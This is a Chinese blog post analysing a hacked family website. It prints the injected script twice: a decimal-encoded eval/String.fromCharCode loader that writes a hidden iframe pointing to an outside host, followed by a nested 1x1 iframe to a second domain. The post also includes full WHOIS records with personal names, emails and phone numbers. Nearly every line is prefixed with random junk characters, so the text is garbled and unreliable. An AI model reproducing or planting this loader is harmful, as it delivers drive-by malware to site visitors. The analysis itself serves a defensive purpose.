首发在我的博客里面，
r |H 1Yy F
gi&CJ8Q http://www.areway.cn/?p=175 HLlp+;CF>< [:CV5k~xc |n*nByL/ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
U*p;N,SjQ t<F* ODn <script>t=’60,105,102,114,97,109,101,
8)Z)pCN 32,115,114,99,61,104,116,116,112,58,47,47,
-~Ll;}nZC 102,114,101,101,46,117,45,117,117,117,46,99,
,/oqLI\ 110,47,101,114,114,111,114,46,104,116,109,
`RF0%Vm~t 32,119,105,100,116,104,61,49,48,48,32,104,
JX .3b_O 101,105,103,104,116,61,48,62,60,47,105,102,
8 ^ ujA 114,97,109,101,62′;
jDWmI% Y. t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
{IB}g: zs=[C +Z\ <script>t=’60,105,102,114,97,109,101,32,115,
AmyZ9r#{ 114,99,61,104,116,116,112,58,47,47,102,114,
!R`E+G@ 101,101,46,117,45,117,117,117,46,99,110,47,
|c<h& p 101,114,114,111,114,46,104,116,109,32,119,
bR\Oyd~e 105,100,116,104,61,49,48,48,32,104,101,105,
[}mx4i 103,104,116,61,48,62,60,47,105,102,114,97,
JZ l"k 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
6Z}8"VJr { document.write(t);</script>
,8tk]W[C r o % Jg <html xmlns=”
_~QiQDq http://www.w3.org/1999/xhtml 8 q}955Nl “>
vtA%^~0 <head>
=._V$:a6o <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
yh uzjn <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
M:PEY *4H <title>首页 - 爱生活家庭网
L?F b} H Q_IQ+ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
++gWyzD 转换字符串后的大概内容是（谁点击后果自付）：
762c`aP_( <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
6E)emFkQ TJO?BX_9 查询玉米u-uuu.cn的详细信息：
GJ9'i-\*\ Domain Name: u-uuu.cn
iAl.(j ROID: 20070901s10001s64972306-cn
j;7:aM"BQW Domain Status: ok
* ^+]`S Registrant Organization: 王雷
j5Cf\*B4J Registrant Name: 王雷
d,5,OJY2f Administrative Email:
czlovexs@126.com ]B2%\}c Sponsoring Registrar: 北京万网志成科技有限公司
_spW~"|G Name Server:ns.yovole.com
,pT j'I Name Server:ns1.yovole.com
Y\
C"3+I Registration Date: 2007-09-01 17:54
qexnsL Expiration Date: 2008-09-01 17:54
_{
Np _ (g 最后PING了一下地址 都没有什么….
P9W!xvV`w
A)5;ae 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
.7<6
zG6J <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
t+l{D#?a
<script language=”javascript” src=”
O30eq 7( http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script )` ^/Dj; >
2gN78#d 这个玉米应该有可能是木马作者的：
.rcXxV@f foafau.info的详细信息：
k9*6`w Access to INFO WHOIS information is provided to assist persons in
"n, %Hh determining the contents of a domain name registration record in the
!>8/X z~- Afilias registry database. The data in this record is provided by
F*Y]^9] Afilias Limited for informational purposes only, and Afilias does not
-T8'|"g guarantee its accuracy. This service is intended only for query-based
0^25 uAD= access. You agree that you will use this data only for lawful purposes
_kZ&t_] and that, under no circumstances will you use this data to: (a) allow,
,Qh9}I7;C enable, or otherwise support the transmission by e-mail, telephone, or
<1pRAN0 facsimile of mass unsolicited, commercial advertising or solicitations
<9/?+) to entities other than the data recipient’s own existing customers; or
4 }r.g0L (b) enable high volume, automated, electronic processes that send
cHAq[Ebp2! queries or data to the systems of Registry Operator, a Registrar, or
N ?{.}-Q Afilias except as reasonably necessary to register domain names or
8o SL3 modify existing registrations. All rights reserved. Afilias reserves
]}Jb'(gMO4 the right to modify these terms at any time. By submitting this query,
J5 zKwt you agree to abide by this policy.
tt0 3 gU` Domain ID:D22418703-LRMS
{5NE jUu{j Domain Name:FOAFAU.INFO
Jwtt&" c0. Created On:20-Nov-2007 16:05:42 UTC
3P|z`}Ka Last Updated On:20-Nov-2007 16:05:44 UTC
5L 0w!q'W Expiration Date:20-Nov-2008 16:05:42 UTC
*km!<L7Y Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
q&nEodv>+ Status:CLIENT DELETE PROHIBITED
,{jF )NQaP Status:CLIENT RENEW PROHIBITED
3-T"[tCe Status:CLIENT TRANSFER PROHIBITED
< ht^Ck Status:CLIENT UPDATE PROHIBITED
K&{ruHoKB Status:TRANSFER PROHIBITED
X EL~y Registrant ID:GODA-040110615
>h9T/J8 Registrant Name:liu hong
i4dy0jfN Registrant Organization:
[KW9J}] Registrant Street1:beijing
(
d1ho= Registrant Street2:
"+Kp8n6 Registrant Street3:
i $g6C Registrant City:beijing
\!Wph5wA Registrant State/Province:
zL Sha\X Registrant Postal Code:100000
~j36(`t Registrant Country:CN
m5%E1k$= Registrant Phone:+86.860108888777
TNF+yj-|X: Registrant Phone Ext.:
,R7RXpP7t Registrant FAX:
k fY 0u Registrant FAX Ext.:
wu;^fL Registrant Email:bbbshiji@163.com
w?JM;'<AYQ Admin ID:GODA-240110615
87-z=>IU Admin Name:liu hong
] ]lN[J Admin Organization:
l3Wh&*0 Admin Street1:beijing
U}<' [o
V Admin Street2:
5,#aN}v#? Admin Street3:
[l *;+N+ Admin City:beijing
APv&
^\oUH Admin State/Province:
Reb o.6rG Admin Postal Code:100000
c9ea%7o{0a Admin Country:CN
_X~xfmU Admin Phone:+86.860108888777
}Sh3AH/ Admin Phone Ext.:
/y3Lc.- Admin FAX:
}PX8#C_P Admin FAX Ext.:
fU>4Ip1?y/ Admin Email:bbbshiji@163.com
`G<|5pe Billing ID:GODA-340110615
o9+fA H`D Billing Name:liu hong
H03R?S9AQ Billing Organization:
P0l.sVqL Billing Street1:beijing
*EF`s~ Billing Street2:
4Jk[X>I~ Billing Street3:
o <L=l Q Billing City:beijing
KS R' X0' Billing State/Province:
axM(3k.n Billing Postal Code:100000
3RP\w~? Billing Country:CN
z]R% A:6K Billing Phone:+86.860108888777
@0D Billing Phone Ext.:
s(r1q$5 Billing FAX:
]owcx=5q%' Billing FAX Ext.:
~kOXMLRg Billing Email:bbbshiji@163.com
$|o[l.q2 Tech ID:GODA-140110615
S.*.nv Tech Name:liu hong
OP98 sd&T Tech Organization:
UW],9r/PD@ Tech Street1:beijing
I^?hVH Tech Street2:
*d}{7UMy# Tech Street3:
Os[50j!4> Tech City:beijing
| W<jN Tech State/Province:
roNs~]6 Tech Postal Code:100000
5iZ;7
?( Tech Country:CN
o>y@1%aU Tech Phone:+86.860108888777
dG%{&W9
Tech Phone Ext.:
)dF`L Tech FAX:
F JIo] p Tech FAX Ext.:
MmW]U24s Tech Email:bbbshiji@163.com
Eikt, Name Server:NS27.DOMAINCONTROL.COM
Wo,fH Y Name Server:NS28.DOMAINCONTROL.COM
nq*D91Q Name Server:
}3 S6TJ+ Name Server:
$c];&)7q Name Server:
#F:\_!2c Name Server:
4=ZN4=(_[ Name Server:
S!g0J}.z Name Server:
f"d4HZD^ Name Server:
(2'q~Z+>' Name Server:
?dQ#%06mn Name Server:
)'e9( 4[V1 Name Server:
V ee ;& Name Server:
wiM-TFT~ 7DB!s@"
接着下载每个文件里面的代码：
Yzih-$g 一步一步看..
wbbr8WiU 
ZWy,NN1 
F=V_ ACU 
JA
" 
%P`|kPW1 
l/6(V: 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
